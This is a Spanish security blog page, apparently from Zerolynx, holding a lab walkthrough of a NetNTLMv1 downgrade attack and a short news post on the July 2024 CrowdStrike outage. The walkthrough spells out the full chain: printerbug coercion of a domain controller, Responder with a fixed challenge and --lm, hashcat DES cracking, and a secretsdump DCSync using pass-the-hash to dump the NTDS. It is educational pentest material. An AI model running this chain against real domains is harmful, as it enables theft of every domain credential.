22 jul 2024

NTLMv1 Downgrade attack


NetNTLMv1 downgrade 

Como hemos comentado en entradas anteriores tras forzar una autenticación y obtener el hash NetNTLM de la contraseña del usuario máquina de la víctima, se nos presentan, principalmente, tres escenarios diferentes de explotación, en este caso vamos a estar hablado de: 

  • NetNTLMv1 downgrade  

En este escenario, el atacante aprovechará el uso del protocolo de autenticación NetNTLMv1 en la red. 

Para poder abusar de dicho protocolo de autenticación, el servidor vulnerable a “Coerce Autentication” deberá tener configurado en el registro la clave “LmCompatibilityLevel” y se encuentra con un valor de 2 o menos. 

Esto se puede configurar habilitando el envió de respuestas LM y NTLM en la política de grupo denominada como “Seguridad de red: nivel de autenticación de LAN Manager”. 


Resumen 

A continuación, se explica a grandes rasgos el proceso de explotación de este ataque: 

  1. Obtener una Respuesta NetNTLMv1 de la cuenta de máquina del controlador del dominio forzando la autenticación con cualquier vulnerabilidad de “Coerce Autentication”. 
  2. Transformar el hash NetNTLMv1 obtenido a un formato para poder ser crackeado en el modo DES. 
  3. Crackear las diferentes partes del hash y obtener las claves DES de cada una de ellas. 
  4. Transformar las claves DES Obtenidas a formato NTLM. 
  5. Realizar un DCSync para obtener el NTDS mediante Pass The Hash haciendo uso del hash NTLM obtenido en los pasos anteriores. 

Componentes del laboratorio de pruebas 

A continuación, describimos brevemente los activos que se encuentran en el laboratorio de pruebas: 

  • Attack_Machine – Esta máquina hace referencia a una Kali Linux desde donde realizaremos el ataque para obtener una “Coerce Autentication” y tener a la escucha el software para obtener el hash del usuario maquina en formato NetNTLMv1. 
  • DC.corp.lab – Controlador de dominio con el dominio “corp.lab” configurado, el cual va a ser víctima del ataque. Se configurará un usuario denominado como “Bob” en dicho dominio sin privilegios para emular el ataque desde el compromiso de este. Dicho servidor tendrá aplicada la política de grupo nombrada anteriormente. 

Desarrollo del ataque 

Obtener una Respuesta NetNTLMv1 

Para comenzar el ataque, deberemos comprobar si el controlador de dominio es vulnerable a alguno de los ataques de “Coerce Autentication” explicados “aquí”. En este caso, la explotación la realizaremos abusando del MS-RPC denominado como MS-RPRN mediante el script Printer Bug

Se deberá comprobar que el DC tiene dicho MS-RPC habilitado mediante el siguiente comando: 


Terminal

                python3 rpcdump.py @dc.corp.lab | grep 'MS-RPRN' 

      



Tras comprobar que el controlador de dominio es vulnerable a dicha “Coerce Autentication”, se deberá configurar la máquina del atacante. Para ello se deberá editar el archivo de configuración del software conocido como Responder, de la siguiente manera:


Terminal

                Sudo nano /etc/responder/Responder.conf 

				SMB = On 

				HTTP = On 

				;Challenge = Random 

			Challenge = 1122334455667788 

      


Una vez editado el archivo de configuración de responder, se deberá ejecutar de la siguiente manera para ponerlo a la escucha. El flag –lm fuerza un downgrade en ciertas versiones de Sistema Operativo. 


Terminal

                sudo responder -I eth0 -wv --lm  

      

Una vez teniendo en ejecución “Responder”, se procederá a explotar la “Coerce Autentication”


Terminal

                'python3 printerbug.py "CORP/bob:password" @dc.corp.lab attack_machine'

      

Tras forzar la autenticación del usuario máquina del controlador de dominio contra la máquina del atacante, se obtiene el hash NetNTLMv1 de dicho usuario. 


Transformar el hash NetNTLMv1 obtenido a un formato para poder ser crackeado 

Tal y como se ha comentado, una vez obtenido el hash NetNTLMv1 se deberá transformar a un formato que pueda ser crackeado en el modo DES. Para ello, se hará uso de la herramienta ntlmv1-multi, la cual proporcionará los siguientes pasos a seguir para el correcto crackeo del hash. 


Terminal

                python3 ntlmv1.py --ntlmv1 'hash ntlmv1' 

      

Como se puede observar en la captura de pantalla anterior, la propia herramienta muestra como calcular los 4 últimos dígitos del hash NTLM, y facilita, por un lado, los hashes que se deben crackear a formato DES, así como el comando que se debe ejecutar.  

Crackear las diferentes partes del hash y obtener las claves DES de cada una de ellas 

Por lo tanto, lo primero, se ejecutará el cálculo de los últimos 4 dígitos del hash NTLM de la siguiente manera haciendo uso de una herramienta de hashcat:


Terminal

                /usr/lib/hashcat-utils/ct3_to_ntlm.bin 'output obtenido con ntlmv1.py' 

      

Por otro lado, se procederá a crackear a formato DES los dos hashes proporcionados por la herramienta ntlmv1-multi mediante la herramienta de crackeo hashcat con el siguiente comando: 


Terminal

          hashcat.exe -m 14000 -a 3 -1 charsets/DES_full.hcchr --hex-charset 'fichero con hashes' ?1?1?1?1?1?1?1?1       

      

NOTA: En las versiones antiguas de hashcat, se hace uso del “charset” DES_FULL.charset, en las versiones actualizadas, se hace uso de DES_full.hcchr. 

Tras el proceso de crackeo, se obtiene las siguientes claves DES: 

Transformar las claves DES Obtenidas a formato NTLM: 

Una vez obtenidas las dos claves DES, se deberá hacer uso de otras herramientas de hashcat la cual permitirá transformas dichas claves al formato NTLM. 

Terminal

                 /usr/lib/hashcat-utils/deskey_to_ntlm.pl 'DES KEY crackeada 1' 

		/usr/lib/hashcat-utils/deskey_to_ntlm.pl 'DES KEY crackeada 2' 

      

Realizar un de DCSync para obtener el NTDS mediante Pass The Hash :

Tras obtener todas las partes del hash NTLM del usuario máquina del controlador de dominio, es posible realizar un DCSync y obtener el NTDS del dominio mediante la herramienta secretsdump.py de impacket, realizando un ataque de Pass The Hash: 

Terminal

                Python3 secretsdump.py -just-dc-ntlm -hashes ‘hash_ntlm’ ‘corp.lab/dc$@dc.corp.lab’’  

      


Dimas Pastor, Senior Analyst en Grupo Zerolynx.

19 jul 2024

¿Por qué se han caído los servicios de medio mundo tras un fallo de Crowdstrike?


Hoy, 19 de julio de 2024, muchas empresas a nivel global se han encontrado con el conocido "Blue Screen of Death" (BSOD) en sus sistemas. Esta falla ha obligado a muchas compañías a interrumpir sus servicios debido a la inoperatividad de numerosos equipos (tanto puestos de trabajo, como servidores),  entre ellas, por ejemplo, en organizaciones de la talla de Aena o Vocento. El problema ha sido atribuido a un problema con el servicio del popular software de ciberseguridad, CrowdStrike.

Según confirmó CrowdStrike, el masivo BSOD en Windows se debe a una actualización del sensor Falcon, específicamente, el utilizado en la carga del agente csagent.sys. En X se han reportado numerosos errores de la Pantalla Azul de la Muerte (BSOD) en hosts de Windows, los cuales parecen estar asociados con varias versiones de los sensores de CrowdStrike. Parece ser que hay varios workaround para poder solventar el problema, aunque el propio Crowdstrike ha tenido que dar marcha atrás con esta actualización.

https://x.com/troyhunt/status/1814174010202345761

https://x.com/troyhunt/status/1814174010202345761

El sensor Falcon de CrowdStrike es una solución avanzada de ciberseguridad que protege los sistemas contra amenazas y ataques. Utiliza inteligencia artificial y análisis en la nube para detectar y prevenir malware, ransomware y otras actividades maliciosas en tiempo real. 

Alguna de las propias soluciones o workaround que se han ofrecido se basan directamente en entrar al host en modo seguro y eliminar el propio agente de forma manual. Aunque realmente habrá que esperar a que Crowdstrike de una solución definitiva al problema para que quede solucionando de forma definitiva.

https://x.com/mike_d_ok/status/1814187157562810388


https://x.com/_johnhammond/status/1814240295921565805


Autor: Alberto Espada, analista de ciberseguridad en Zerolynx.